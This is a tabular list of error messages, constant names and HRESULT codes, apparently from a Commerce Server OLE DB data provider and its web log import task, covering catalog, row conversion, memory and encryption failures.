Could not find table : %1 | ERROR_NO_TABLE | 0xCB008189L
Error: retreived NULL buffers | ERROR_NULL_BUFFER | 0xCB008173L
Out of memory | ERROR_OUTOFMEM | 0xCB008210L
Error creating the parser buffer event | ERROR_PARSER_EVENT | 0xCB00816EL
Error creating new Request ID. status=%1 | ERROR_REQ_ID_CREATE | 0xCB008199L
Failed retrieving the timezone %1: 0x%2 | ERROR_RETRIEVING_TIMEZONE | 0xCB0081D7L
Error retreiving new buffer. status code : %1 (%2) | ERROR_RETRV_NEW_BUFFER | 0xCB008172L
Error while getting retry count | ERROR_RETRY1 | 0xCB0081FDL
Could not set command text (0x%1) | ERROR_SET_CMD_TXT | 0xCB008209L
Cannot SetColumns in InsertLogImportSubTask. status=%1 | ERROR_SET_COLUMNS_INSERTSUBTASK | 0xCB00820CL
Cannot SetColumns in InsertUserVisit. status=%1 | ERROR_SET_COLUMNS_INSERTUSERVISIT | 0xCB0081A7L
Cannot SetColumns in InsertOpenUserVisit. status=%1 | ERROR_SET_COLUMNS_INSERT_OPEN_USER_VISIT | 0xCB0081AFL
Error binding to Sites. | ERROR_SITE_BIND | 0xCB00818DL
LoadSites(), site init failed (%1) | ERROR_SITE_INIT | 0xCB008190L
The loaded site name: %1 is different from the commerce site name: %2 | ERROR_SITE_NAME_MISMATCH | 0xCB00818FL
Error binding to Site Summary. | ERROR_SITE_SUMMARY_BIND | 0xCB0081B3L
Failed getting source timezone %1 | ERROR_SOURCE_TIMEZONE | 0xCB0081D4L
Error binding to Servers. | ERROR_SRVR_BIND | 0xCB00818CL
Failed retrieving the server group row: %1 | ERROR_SRVR_GROUP_RETRIEVE | 0xCB00818BL
Session ID is out of bounds. Max session : %1, Requested Session : %2 | ERROR_SSN_ID_OUT_OF_BOUNDS | 0xCB008185L
Could not store the commerce event (%1) | ERROR_STORE_COMMERCE_EVENT | 0xCB0081A0L
In StorePath(), CreateRow() failure. status=%1 | ERROR_STORE_PATH | 0xCB0081A3L
In StorePathInfo(), CreateRow() failure. status=%1 | ERROR_STORE_PATH_INFO | 0xCB0081A4L
In StoreRequest(), ParseLevelDirs() failure, %1. status=%2 | ERROR_STORE_REQUEST | 0xCB00819BL
In StoreRequest(), Failed to combine queryString to uri | ERROR_STORE_REQUEST1 | 0xCB00819CL
In StoreRequest(), CreateRow() failure. status=%1 | ERROR_STORE_REQUEST2 | 0xCB00819DL
NULL pDACommerceEventStrings referred in storeit | ERROR_STORE_REQUEST3 | 0xCB00819EL
NULL pEventsParser referred in storeit | ERROR_STORE_REQUEST4 | 0xCB00819FL
In SynchronousFlushStorage(), CreateRow() failure. status=%1 | ERROR_SYNCHRONOUS_FLUSH_STORAGE | 0xCB008180L
Error binding to TaskHistory. | ERROR_TASKHISTORY_BIND | 0xCB0081F3L
Timezone initialization failed (%1) | ERROR_TIME_ZONE_INIT | 0xCB008159L
Error creating new pUriData. status=%x | ERROR_URI_DATA_CREATE | 0xCB00819AL
Could not remove a value vector from the list. (%1) | ERROR_VECTOR_REMOVE | 0xCB0081A2L
Error creating new Visit ID. status=%1 | ERROR_VISIT_ID_CREATE | 0xCB0081A5L
This is not a valid W3C log file - %1 | ERROR_W3C_INCOMPATIBLE_LOG_FILE | 0xCB008177L
Initialization of Memdef Wrapper failed, URL : %1, Status Code :%2 | ERROR_WRAPPER | 0xCB0081A9L
 | E_MSCOP_AGLAYER_GENERICDSOERROR |
 | E_MSCOP_AGLAYER_INTERNALERROR |
 | E_MSCOP_AGLAYER_INVALIDDATATYPE |
 | E_MSCOP_AGLAYER_INVALIDOPERATOR |
 | E_MSCOP_AGLAYER_INVALIDSOURCETYPE |
 | E_MSCOP_AGLAYER_OUTOFSTACK |
 | E_MSCOP_AGLAYER_UPM_THROTTLE_LIMIT |
Internal error (%1) encountered in the Commerce OLE DB Provider. | E_MSCOP_INTERNALERROR | 0xCA2A8004L
 | E_OUTOFMEMORY |
Web Log Import task not initialized successfully yet. | IMPORT_DTS_NOTINITIALIZED | 0xCB00C00CL
Error creating the DB storeit object : out of memory | IMPORT_INIT_OUT_OF_MEMORY | 0xCB008147L
Error while initializing the DB | IMPORT_INIT_STORAGE_DB_ERROR | 0xCB008148L
Error getting the Import Options from the DB | IMPORT_INIT_STORAGE_IMPORT_OPTIONS_ERROR | 0xCB00814AL
Error loading the Site Summary into the DB | IMPORT_INIT_STORAGE_SITE_ERROR | 0xCB008149L
Error inserting the TaskHistory into the DB | IMPORT_INIT_STORAGE_TASK_HISTORY_ERROR | 0xCB00814BL
 | IS_E_SiteHostNotFound |
UseAWE = true, but no physical memory beyond 4 gig. Resetting UseAWE to false. | MSCOP_E_AWEInvalid | 0xCA448033L
Out of AWE (extended) memory. | MSCOP_E_AWEOutOfMemory | 0xCA448034L
Abort tranaction failed, hr = %1 | MSCOP_E_AbortTransactionFailed | 0xCA478042L
AdjustTokenPrivileges failed for %1, HRESULT: %2 | MSCOP_E_AdjustTokenPrivilegesFailure | 0xCA44802AL
Error creating new pUriData status=%1 | MSCOP_E_AggContainerErrorCreatingNewpUriData | 0xCA048002L
ParseLevelDirs() failure status=%1 | MSCOP_E_AggContainerParseLevelDirsFailure | 0xCA048003L
Failed updating measure: %1 | MSCOP_E_AggContainerUpdateMeasureFailure | 0xCA048004L
Wrong type for expression member: %1 | MSCOP_E_AggContainerWrongTypeForExpressionMember | 0xCA048001L
Invalid base class for aggregation class: %1 | MSCOP_E_AggResolveInvalidBaseClass | 0xCA378007L
Failed resolving the member aggregations for aggregation class: %1 | MSCOP_E_AggResolveMemberAggregationFailed | 0xCA378008L
This memeber is not a dimension member. | MSCOP_E_AggResolveMemberNotDimension | 0xCA378005L
This memeber is not a measure member. | MSCOP_E_AggResolveMemberNotMeasure | 0xCA378006L
Member: %1 in Class: %2 does not have an expression | MSCOP_E_AggResolveMemberWithoutExpression | 0xCA378009L
Missing switch type symbol: %1 | MSCOP_E_AggResolveMissingSwitchType | 0xCA37800AL
Unknown member name: %1 | MSCOP_E_AggResolveUnknownMember | 0xCA37800DL
Unknown selector for DatePart: %1 | MSCOP_E_AggResolveUnknownSelectorForDatePart | 0xCA37800BL
Unknown selector for UriPart: %1 | MSCOP_E_AggResolveUnknownSelectorForURIPart | 0xCA37800CL
Allocate Parm Bindings failed, hr = %1 | MSCOP_E_AllocateParmBindingsFailed | 0xCA478043L
AllocateUserPhysicalPages failed. HRESULT: %1 | MSCOP_E_AllocateUserPhysicalPagesFailure | 0xCA44802DL
Could only allocate %1 of %2 pages | MSCOP_E_AllocateUserPhysicalPagesPartial | 0xCA44802EL
Alter statement failed for Table:%1. Statement: %2, SCODE: %3 | MSCOP_E_AlterStatementForTableFailed | 0xCA418009L
Error: AppendFmtData failed creating SQL for ColDef: %1, SCODE: %2 | MSCOP_E_AppendFmtDataFailedForColDef | 0xCA418011L
SQL Server authentication failed | MSCOP_E_AuthenticationFailure | 0xCA488031L
Cannot create a catalog object without requesting a Row | MSCOP_E_BindArgsCreateCatalogWithoutRequestingRow | 0xCA078003L
Do not support interface %1 on Catalog Row | MSCOP_E_BindArgsInvalidInterfaceOnCatalogRow | 0xCA078004L
In BindArgs::OpenDataSrc(), failed initializing data source (%1) | MSCOP_E_BindArgsOpenDataSourceInitializationFailed | 0xCA078001L
Can't bind to Row/Rowset directly on first bind | MSCOP_E_BindArgsOpenInvalidFirstBindToRowRowset | 0xCA078002L
Failed to initialize the binder object. (%1) | MSCOP_E_CClassFactoryBinderObjectInitializationFailure | 0xCA118002L
Failed to create the binder object. Out of memory | MSCOP_E_CClassFactoryCreateBinderObjectOEM | 0xCA118001L
Failed to create the data source object. Out of memory | MSCOP_E_CClassFactoryDataSourceObjectEOM | 0xCA118003L
Failed to initialize the data source object. (%1) | MSCOP_E_CClassFactoryDataSourceObjectInitializationFailure | 0xCA118004L
Error allocating new command text (%1 chars) | MSCOP_E_CCommandAllocationEOM | 0xCA148078L
Error Initializing Command properties (%1) | MSCOP_E_CCommandParserInitializationFailure | 0xCA148079L
Error Initializing Command properties (%1) | MSCOP_E_CCommandPropertiesInitializationFailure | 0xCA148077L
Error adding new SessionCatalogEntry to the list of active catalogs (%1) | MSCOP_E_CDataAddNewCatalogEntryAddToListFailure | 0xCA178010L
Could not create the Core Object Services for Data Source | MSCOP_E_CDataAddNewCatalogEntryCoreObjectServicesFailure | 0xCA17800EL
Error creating new SessiontCatalogEntry -- Out of memory | MSCOP_E_CDataAddNewCatalogEntryOutOfMemory | 0xCA17800FL
Data Source not initialized correctly. | MSCOP_E_CDataCreateSessionBadDataSource | 0xCA178015L
DataSource::GetActiveCatalog(%1) GetPropertyBOOL() for DBPROP_INIT_CATALOGCREATE failed (%2) | MSCOP_E_CDataGetActiveCatalogGetPropertyBool | 0xCA178007L
DataSource::GetActiveCatalog(%1) GetPropertyLONG() for DBPROP_INIT_MODE failed (%2) | MSCOP_E_CDataGetActiveCatalogGetPropertyLong | 0xCA178008L
DataSource::GetActiveCatalog(%1) failed on catalog load (%2) - Catalog not present and CATALOG_CREATE not enabled | MSCOP_E_CDataGetActiveCatalogNoCatalog | 0xCA17800AL
Error retrieving the current catalog entry (%1) activelist size=%2 | MSCOP_E_CDataGetActiveCatalogRetrieveFailed | 0xCA17800BL
DataSource::GetActiveCatalog(%1) failed on catalog load (%2) - Write access mode not enabled | MSCOP_E_CDataGetActiveCatalogWriteModeNotEnabled | 0xCA178009L
Data Source URL connection string not set correctly | MSCOP_E_CDataGetConnectionStringBadURL | 0xCA17801BL
Could not bind to connection string (%1) | MSCOP_E_CDataGetConnectionStringBindFailure | 0xCA17801AL
Error creating Binder in DataSource initialization (%1) | MSCOP_E_CDataGetConnectionStringCreateBinderFailure | 0xCA178019L
Error - InitDataSource property has unexpected data type (%1) expecting VT_BSTR | MSCOP_E_CDataGetConnectionStringInitDataSourcePropBadType | 0xCA178018L
Error retrieving the InitDataSource property -- Not found | MSCOP_E_CDataGetConnectionStringInitDataSourcePropNotFound | 0xCA178017L
Could not get the DBINIT, %1 property (%2) | MSCOP_E_CDataGetPropFailure | 0xCA178016L
Failed to generate connection id, SCODE: %1 | MSCOP_E_CDataGetServerConnGenIDFailure | 0xCA17801CL
Could not create the catalog (%1) | MSCOP_E_CDataLoadCatalogCreateFailure | 0xCA178011L
Could not initialize catalog strings (%1) | MSCOP_E_CDataLoadCatalogInitializeStringsFailure | 0xCA178012L
Catalog Load failed catalog: %1 (%2) | MSCOP_E_CDataLoadCatalogLoadFailure | 0xCA178014L
Catalog validation failed, catalog: %1 (%2) | MSCOP_E_CDataLoadCatalogValidationFailure | 0xCA178013L
ReleaseCatalog() Could not find the catalog in active list | MSCOP_E_CDataReleaseCatalogNoCatalogs | 0xCA17800DL
ReleaseCatalog() - Error removing entry (%1) | MSCOP_E_CDataReleaseCatalogRemoveFailed | 0xCA17800CL
DataSource::Init(%1) failed on catalog load (%2) | MSCOP_E_CDataSourceCatalogLoadInitializationFailure | 0xCA178005L
Open binary log file failed, file: %1 | MSCOP_E_CDataSourceOpenBinaryLogFileFailure | 0xCA178001L
Unable to initialize Data source Properties %1 | MSCOP_E_CDataSourcePropertyInitializationFailure | 0xCA178002L
CDataSource::ReleaseSchemaChangeCatalog(), could not get active catalog (%1) | MSCOP_E_CDataSourceReleaseSchemaChangeCatalog | 0xCA178006L
Unable to initialize Session Command mapper (%1) | MSCOP_E_CDataSourceSessionCommandMapperInitializationFailure | 0xCA178004L
Could not set Data Source OLE DB properties (%1) | MSCOP_E_CDataSourceSetPropertyFailure | 0xCA178003L
Could not generate session context GUID for session %1 (%2) | MSCOP_E_CImpDataSrcPropCouldNotGenerateSessionContextGUID | 0xCA0D800DL
Could not get the CREATECATALOG property (%1) | MSCOP_E_CImpDataSrcPropCouldNotGetCREATECATALOGProperty | 0xCA0D800CL
Could not get the FASTLOAD property (%1) | MSCOP_E_CImpDataSrcPropCouldNotGetFASTLOADProperty | 0xCA0D8007L
Could not set the Data Source property from the binder object (%1) | MSCOP_E_CImpDataSrcPropCouldNotSetDataSourcePropertyFromBinderObject | 0xCA0D8003L
Could not set the FASTLOAD property from the binder object (%1) | MSCOP_E_CImpDataSrcPropCouldNotSetFASTLOADPropertyFromBinderObject | 0xCA0D8001L
Could not set the INTEGRATED SECURITY property from the binder object (%1) | MSCOP_E_CImpDataSrcPropCouldNotSetINTEGRATEDSECURITYPropertyFromBinderObject | 0xCA0D8002L
Could not set Session context property for session %1 (hr = %2) | MSCOP_E_CImpDataSrcPropCouldNotSetSessionContextProperty | 0xCA0D800EL
Could not set the USER ID property from the binder object (%1) | MSCOP_E_CImpDataSrcPropCouldNotSetUSERIDPropertyFromBinderObject | 0xCA0D8005L
Failure to add child mem def to _childMemToParentMem, err: %1, child mem: %2::%3 | MSCOP_E_CMbClsDefAddChildMemDefToChildMemToParentMemMapFailed | 0xCA3480B0L
Failure to add child mem def to _parentColToChildMem, err: %1, child mem: %2::%3 | MSCOP_E_CMbClsDefAddChildMemDefToParentColToChildMemMapFailed | 0xCA3480ADL
Error: Failed adding MemDef object to full name map, mem name: %1, SCODE: %2 | MSCOP_E_CMbClsDefAddMemDefToFullNameMapFailed | 0xCA3480B2L
Error: Failed adding Parent ClsDef to View Def list. SCODE: %1 | MSCOP_E_CMbClsDefAddParentClsDefToViewDefListFailed | 0xCA3480C0L
Failure to add parent mem def to _childMemToParentMem, err: %1, child mem: %2::%3 | MSCOP_E_CMbClsDefAddParentMemDefToChildMemToParentMemMapFailed | 0xCA3480AFL
Failure to parent mem def to _parentColToChildMem, err: %1, child mem: %2::%3 | MSCOP_E_CMbClsDefAddParentMemDefToParentColToChildMemMapFailed | 0xCA3480AEL
Error: Failed adding RelDef to View Def list. SCODE: %1 | MSCOP_E_CMbClsDefAddRelDefToViewDefListFailed | 0xCA3480C2L
Not enough memory to allocate All Members By Name array. | MSCOP_E_CMbClsDefAllMembersByNameArrayOOM | 0xCA3480BCL
Error: Failed to get mem from given col name: cls ids: P:%01-C:%2, col: %3 | MSCOP_E_CMbClsDefChildMemDefLookupInParentColDefMapFailed | 0xCA3480B3L
Error: Failed doing CopyParentMembers() in class: %1. SCODE: %2 | MSCOP_E_CMbClsDefCopyParentMembersFailed | 0xCA3480B6L
Error: Corrupt MemDef table found in CreateDefaultView. Class name: %1, SCODE: %2 | MSCOP_E_CMbClsDefCorruptMemDefTblInCreateDefaultView | 0xCA3480C3L
Error: Corrupt ParentClsDef table found in CreateDefaultView. Class name: %1, SCODE: %2 | MSCOP_E_CMbClsDefCorruptParentClsDefTblInCreateDefaultView | 0xCA3480BFL
Error: Corrupt RelDef table found in CreateDefaultView. Class name: %1, SCODE: %2 | MSCOP_E_CMbClsDefCorruptRelDefTblInCreateDefaultView | 0xCA3480C1L
Error: Corrupt RelDef table found in CopyParentMembers. Class name: %1, SCODE: %2 | MSCOP_E_CMbClsDefCorruptRelDefsInCopyParentMembers | 0xCA3480B5L
Error: Failed to create new ViewMem. View name: %1, SCODE: %2 | MSCOP_E_CMbClsDefCreateViewMemFailed | 0xCA3480C4L
Not enough memory to allocate Default View Definition. | MSCOP_E_CMbClsDefDefaultViewDefOOM | 0xCA3480BDL
Error: Validation failed for Default View. View name: %1, Class name: %2, SCODE:%3 | MSCOP_E_CMbClsDefDefaultViewDefValidationFailed | 0xCA3480BEL
Not enough memory to allocate First Level Member def array. | MSCOP_E_CMbClsDefFirstLevelMemDefArrayOOM | 0xCA3480B7L
Error: Group Member container not found for Member. Member name: %1, Class name: %2, Group name: %3, SCODE: %4 | MSCOP_E_CMbClsDefGroupMemNotFound | 0xCA3480B9L
Error: Failed to retrieve member definition by name. Class: %1, Member: %2 | MSCOP_E_CMbClsDefMemDefLookupFailed | 0xCA3480B4L
Not enough memory to allocate MemberInfoArray during Catalog Resolve. | MSCOP_E_CMbClsDefMemInfoArrayOOM | 0xCA3480B8L
Class: %1 does not have an Identity Member. | MSCOP_E_CMbClsDefNoIdentityMember | 0xCA3480BAL
Error: Failed in ResolveFullName(), mem name: %1, SCODE: %2 | MSCOP_E_CMbClsDefResloveFullNameFailed | 0xCA3480B1L
Not enough memory to allocate SaveMemberInfoArray during Catalog Resolve. | MSCOP_E_CMbClsDefSaveMemberInfoArrayOOM | 0xCA3480BBL
Error: View Member validation failed. View name: %1, Member name: %2, SCODE: %3 | MSCOP_E_CMbClsDefViewMemValidationFailed | 0xCA3480C5L
Error: Column Definition name too long. %1 | MSCOP_E_CMbColDefNameTooLong | 0xCA348103L
Error: Failed adding Member object to Group: Class name: %1, Group name: %2, Member name: %3, SCODE: %4 | MSCOP_E_CMbMemDefAddGroupMemberFailed | 0xCA3480CBL
Error: ClsDef lookup error while processing Group Member. Class name: %1, Group name: %2, SCODE: %3 | MSCOP_E_CMbMemDefClsDefLookupFailureInGroupMem | 0xCA3480C8L
Error: Group container lookup error while processing Group Member. Class name: %1, Group name (container): %2, SCODE: %3 | MSCOP_E_CMbMemDefGroupContainerLookupFailureInGroupMem | 0xCA3480C9L
Error: Invalid Group Member. Class name: %1, Group name: %2, Group Member name: %3 | MSCOP_E_CMbMemDefInvalidGroupMember | 0xCA3480C6L
Error: Unable to set multi-val tbl/col name in member validation, err: %1, Member name: %2 | MSCOP_E_CMbMemDefMultiValMemberValidationFailed | 0xCA3480CCL
Error: NULL Catalog pointer in GroupMem object. Group Member name: %1 | MSCOP_E_CMbMemDefNULLCatalog | 0xCA3480C7L
Error: Member Definition name too long. %1 | MSCOP_E_CMbMemDefNameTooLong | 0xCA348102L
Error: Failed adding MemDef object to Catalog list: %1, Object name: %2, SCODE: %3 | MSCOP_E_CMbRelDefAddRelMemToCatalogListFailed | 0xCA3480D7L
Failed copying attributes for Member: %1. SCODE: %2 | MSCOP_E_CMbRelDefCopyAttributesFailed | 0xCA3480D1L
Error: Corrupt Key Member list found in Parent Class during Relation processing. Relation name: %1, Class name: %2, SCODE: %3 | MSCOP_E_CMbRelDefCorruptKeyDefListInParentClsDef | 0xCA3480CEL
Error: Corrupt Member list found in Parent Class during Relation processing. Relation name: %1, Class name: %2, SCODE: %3 | MSCOP_E_CMbRelDefCorruptMemDefListInParentClsDef | 0xCA3480CDL
Error: Create ColDef instance for Child Class Reference Member failed during Relation processing. Relation name: %1, Class name: %2, SCODE: %3 | MSCOP_E_CMbRelDefCreateColDefForRefMemFailed | 0xCA3480D9L
Failed creating instance of Member attribute for Member: %1 | MSCOP_E_CMbRelDefMemAttrCreationFailed | 0xCA3480D2L
Validation failed for Member attribute. Member name: %1, Attribute name: %2 | MSCOP_E_CMbRelDefMemAttrValidationFailed | 0xCA3480D3L
Error: Failed creating new Member instance during Relation processing. Relation name: %1, mem: %2, SCODE: %3. | MSCOP_E_CMbRelDefMemDefCreationFailed | 0xCA3480D4L
Error: Failed while Validating Child Class Reference Member Definition. Relation name: %1, Parent Class Member name: %2, Child Class Member name: %3, SCODE: %4 | MSCOP_E_CMbRelDefRefMemValidationFailed | 0xCA3480DAL
Not enough memory to allocate Relation Member array in Validate of Child Class Reference Member. Relation name: %1, Reference Member name: %2 | MSCOP_E_CMbRelDefRelMemArrayOOM | 0xCA3480D5L
Error transferring member attributes from Member: %1. SCODE:%2 | MSCOP_E_CMbRelDefRelMemAttribTransferFailed | 0xCA3480D8L
Error creating RelMem for Relation: %1, Member: %2, SCODE: %3 | MSCOP_E_CMbRelDefRelMemCreationFailure | 0xCA3480D0L
Error: Failed while Validating new Child Class Reference Member. Relation name: %1, Reference Member name: %2, SCODE: %3 | MSCOP_E_CMbRelDefRelMemValidationFailed | 0xCA3480D6L
Failed to set RelDef by QWORD during Catalog Resolve. SCODE: %1 | MSCOP_E_CMbRelDefSetRelDefByQWORDFailed | 0xCA3480DBL
Error: Failed while Validating generated col def, tbl: %1, col name: %2, SCODE: %3 | MSCOP_E_CMbTblDefColDefValidationFailed | 0xCA3480DDL
Error: Create ColDef instance for generated col def, col: %1::%2, SCODE: %3 | MSCOP_E_CMbTblDefCreateColDefFailed | 0xCA3480DCL
Error: Table Definition name too long. %1 | MSCOP_E_CMbTblDefNameTooLong | 0xCA348101L
CPropUtil::GetPropertyBOOL(), Type Mismatch | MSCOP_E_CPropUtilGetPropertyTypeMismatchBOOL | 0xCA218002L
CPropUtil::GetPropertyLONG(), Type Mismatch | MSCOP_E_CPropUtilGetPropertyTypeMismatchLONG | 0xCA218001L
CPropUtil::GetPropertyWSTR(), Type Mismatch | MSCOP_E_CPropUtilGetPropertyTypeMismatchWSTR | 0xCA218003L
Could not find internal property %1 (Propset %2) | MSCOP_E_CPropUtilInternalPropertyNotFound | 0xCA218007L
Could not load the message DLL %1 (%2) | MSCOP_E_CPropUtilLoadMeasageDLLFailure | 0xCA21800BL
Cloning array properties in non-copy | MSCOP_E_CPropUtilNonCopyPropertyCloning | 0xCA218008L
CPropUtil::SetBoolProp(), Could not find property set %1 | MSCOP_E_CPropUtilPropertySetNotFound | 0xCA218004L
CPropUtil::SetBoolProp(), Type mismatch - %1 (Expecting %2) | MSCOP_E_CPropUtilSetBoolPropertyTypeMismatch | 0xCA218005L
Failed to decrypt data on the row. Failure code: %1 | MSCOP_E_CROW_DECRYPT | 0xCA318022L
Failed to encrypt data on the row. Failure code: %1 | MSCOP_E_CROW_ENCRYPT | 0xCA318020L
Failed to get the value for Private Key Index column. | MSCOP_E_CROW_GET_PRIVKEYIDXCOL | 0xCA31801EL
Invalid pointer to datasource class. Cannont perform encryption/decryption of data. | MSCOP_E_CROW_INVALID_DATASOURCE | 0xCA318024L
Private Key Index column not found on row containing encrypted values. | MSCOP_E_CROW_NO_PRIVKEYIDXCOL | 0xCA31801BL
Error obtaining handle to Public key container. | MSCOP_E_CROW_NO_PUBLICKEY | 0xCA31801FL
Invalid datatype for Private Key Index column. The datatype should be integer. | MSCOP_E_CROW_PRIVKEYIDXCOL_TYPE_INVALID | 0xCA31801CL
Invalid value for Private Key Index found on encrypted row. | MSCOP_E_CROW_PRIVKEYIDX_INVALID_VAL | 0xCA318021L
Failed to set the value for Private Key Index column. | MSCOP_E_CROW_SET_PRIVKEYIDXCOL | 0xCA31801DL
Cannot size conversion from DBTYPE BOOL to dest CSOLEDB type %1 | MSCOP_E_CRowBOOLConversionError | 0xCA318004L
Cannot size conversion from BSTR/WSTR to dest CSOLEDB type %1 | MSCOP_E_CRowBSTRConversionError | 0xCA318005L
Cannot size conversion from DBTYPE CY to dest CSOLEDB type %1 | MSCOP_E_CRowCYConversionError | 0xCA31801AL
Attempting to ConsolidateBuffers -- not implemented yet | MSCOP_E_CRowConsolidateBuffersNotImplemented | 0xCA318016L
CRowHeader::ConvertErrorCodeToStatus(), Unknown error code : %1 | MSCOP_E_CRowConvertErrorCodeToStatus | 0xCA318011L
CRowHeader::CopyMVData(), unknown type %1 | MSCOP_E_CRowCopyMVDataUnknownType | 0xCA318012L
CRowHeader::CopyData(DBCOLUMNACCESS), failed setting kVT type %1 | MSCOP_E_CRowDBCOLUMNACCESSFailedSettingType | 0xCA318010L
CRow::SetDBCOLUMNACCESS(), Can't create a group | MSCOP_E_CRowDBCOLUMNACCESSGroupCreate | 0xCA318018L
CRowHeader::CopyData(DBCOLUMNACCESS), Unknown kVT type %1 | MSCOP_E_CRowDBCOLUMNACCESSUnknownType | 0xCA31800FL
DataSize(pCol) - attempting to size DBTYPE %1 | MSCOP_E_CRowDataSizeConversionError | 0xCA31800CL
CRowHeader::DataSize(), unknown type %1 | MSCOP_E_CRowDataSizeUnknownType | 0xCA318013L
Cannot size conversion from DBTYPE I2 to dest CSOLEDB type %1 | MSCOP_E_CRowI2ConversionError | 0xCA318006L
Cannot size conversion from DBTYPE I4 to dest CSOLEDB type %1 | MSCOP_E_CRowI4ConversionError | 0xCA318008L
Cannot size conversion from DBTYPE I8 to dest CSOLEDB type %1 | MSCOP_E_CRowI8ConversionError | 0xCA318009L
Invalid ID size. Valid sizes are 0, 1, & 2 (%1) | MSCOP_E_CRowInvalidIDSize | 0xCA318017L
Error converting value from FILETIME to SYSTEMTIME in MV case (fy - %i64) | MSCOP_E_CRowMVFILETIMEConversionError | 0xCA318002L
Error sizing a multi-val property | MSCOP_E_CRowMVSizeError | 0xCA31800DL
Cannot size conversion from DBTYPE R4 to dest CSOLEDB type %1 | MSCOP_E_CRowR4ConversionError | 0xCA31800BL
Cannot size conversion from DBTYPE R8 to dest CSOLEDB type %1 | MSCOP_E_CRowR8ConversionError | 0xCA31800AL
Multi-value and reference default values not supported | MSCOP_E_CRowReferenceDefaultValueNotSupported | 0xCA318014L
EType %1 as default value not supported | MSCOP_E_CRowTypeNotSupportedAsDefault | 0xCA318015L
Cannot size conversion from DBTYPE UI1 to dest CSOLEDB type %1 | MSCOP_E_CRowUI1ConversionError | 0xCA318007L
CRowHeader::CopyData(), Unknown kVT type %1 | MSCOP_E_CRowUnknownType | 0xCA31800EL
Internal representation for the Row object has run out of memory buffers. Please release the object and retry operation. | MSCOP_E_CRow_OutOfBuffers | 0xCA318019L
Failed to get Cryptographic context. | MSCOP_E_CSCRYPTO_CONTEXT | 0xCA17801DL
Failed to import PrivateKey1. | MSCOP_E_CSCRYPTO_IMPORT_PRIVATEKEY1 | 0xCA17801FL
Failed to import PublicKey. | MSCOP_E_CSCRYPTO_IMPORT_PUBLICKEY | 0xCA17801EL
Adding ClsInfoID to array failed during save. Catalog name:%1 SCODE: %2 | MSCOP_E_CatalogAddClsInfoIDToArrayFailed | 0xCA34800BL
Failed adding new object to Global list. Object ID: %1, SCODE: %2 | MSCOP_E_CatalogAddObjectToGlobalListFailed | 0xCA348005L
Bind failed for Catalog. Catalog name: %1, SCODE: %2 | MSCOP_E_CatalogBindFailed | 0xCA348022L
Unable to add ClsDef to save list while processing incremental Catalog, SCODE: %1 | MSCOP_E_CatalogChangeAddClsDefToSaveListFailed | 0xCA34803EL
Null Child ClsDef pointer found in CMbCatalog::AdjustVersionNumbers. Parent Class: %1 | MSCOP_E_CatalogChangeAdjustVersionNumberNULLChildClsDef | 0xCA348040L
NULL RelDef pointer found in CMbCatalog::AdjustVersionNumbers processing Class: %1 | MSCOP_E_CatalogChangeAdjustVersionNumberNULLRelDef | 0xCA34803FL
Cannot add Identity Member existing class. Class name: %1, Member name: %2 | MSCOP_E_CatalogChangeCantAddIdentityMember | 0xCA348032L
NULL LinkTblInfo in CMbCatalog::CreateTable for Member name: %1 | MSCOP_E_CatalogChangeCreateTableNULLLinkTblInfo | 0xCA348042L
Error deleting object: %1, SCODE: %2 | MSCOP_E_CatalogChangeDeleteObjectFailed | 0xCA348039L
Error deleting parition %1 | MSCOP_E_CatalogChangeDeletePartitionFailed | 0xCA348036L
Failed to get ClsInfo for object: %1. Catalog name: %2, SCODE: %3 | MSCOP_E_CatalogChangeGetClsInfoFailed | 0xCA34803CL
Error clearing results for incremental Catalog change. SCODE: %1, Command: %2 | MSCOP_E_CatalogChangeIncrementalChangeClearResultsError | 0xCA348034L
Error executing incremental Catalog change. SCODE: %1, Command: %2 | MSCOP_E_CatalogChangeIncrementalChangeError | 0xCA348033L
Invalid Change Objects list found during save. Catalog name:%1 SCODE: %2 | MSCOP_E_CatalogChangeInvalidChangeObjects | 0xCA34803AL
Invalid SQL Delete Objects list found during save. Catalog name:%1 SCODE: %2 | MSCOP_E_CatalogChangeInvalidSQLDeleteObjects | 0xCA348037L
Error: Legacy table for Class does not exist. Class name: %1, Table name: %2, SCODE: %3 | MSCOP_E_CatalogChangeLegacyTableNotFound | 0xCA348041L
NULL CCtlgObj pointer found in CMbCatalog::ProcessChangeList | MSCOP_E_CatalogChangeProcessChangeListNULLCCtlgObj | 0xCA34803DL
NULL ClsDef pointer found in CMbCatalog::ProcessChangeList processing Member: %1 | MSCOP_E_CatalogChangeProcessChangeListNULLClsDef | 0xCA34803BL
Initialization of Schema Manager object failed for incremental Catalog change processing. SCODE: %1 | MSCOP_E_CatalogChangeSchemaManagerObjectInitializationFailure | 0xCA348035L
Failed adjusting Version numbers on Schema Objects. SCODE: %1 | MSCOP_E_CatalogChangeVersionNumberUpdateFailed | 0xCA348038L
Commit Transaction failed for Save. SCODE: %1 | MSCOP_E_CatalogCommitTransactionFailed | 0xCA348017L
Unable to create HStmt for Load. Server: %1, DB: %2, UserID: %3, Catalog name: %4, SCODE: %5 | MSCOP_E_CatalogCreateHStmtFailed | 0xCA34802CL
CreateInstance failed. Catalog name: %1, ClsID:%2, SCODE: %3 | MSCOP_E_CatalogCreateInstanceFailed | 0xCA348024L
Failed to create 'SELECT FROM TABLE' statement for Catalog. Catalog name: %1, Table: %2, SCODE: %3 | MSCOP_E_CatalogCreateSelectStatementFailed | 0xCA34801EL
Failed to create 'Table Create' statement for Catalog. Catalog name : %1, SCODE: %2 | MSCOP_E_CatalogCreateTableStatementCreationFailed | 0xCA348009L
Create statement failed for Table:%1. Statement: %2, SCODE: %3 | MSCOP_E_CatalogCreateTableStatementFailed | 0xCA34800AL
Error: CreateTables returned: %1 | MSCOP_E_CatalogCreateTablesFailed | 0xCA348015L
'Select' statement failed for Catalog. Catalog name: %1, Table name: %2, SCODE: %3 | MSCOP_E_CatalogExecSelectStatementFailed | 0xCA348020L
Command: %s | MSCOP_E_CatalogExecSelectStatementFailedDetail | 0xCA348021L
Error: Catalog initialized in Fastload mode is not supported in non-Fastload mode | MSCOP_E_CatalogFastloadCatalog | 0xCA348030L
Fetch failed for Catalog Object. Catalog name: %1, Table name: %2, SCODE: %3 | MSCOP_E_CatalogFetchFailed | 0xCA348023L
Failed to get BCInfos for Catalog. Catalog name: %1, SCODE: %2 | MSCOP_E_CatalogGetBCInfosFailed | 0xCA34801FL
Failed to get ClsInfo for object: %1. Catalog name: %2, SCODE: %3 | MSCOP_E_CatalogGetClsInfoFailed | 0xCA348007L
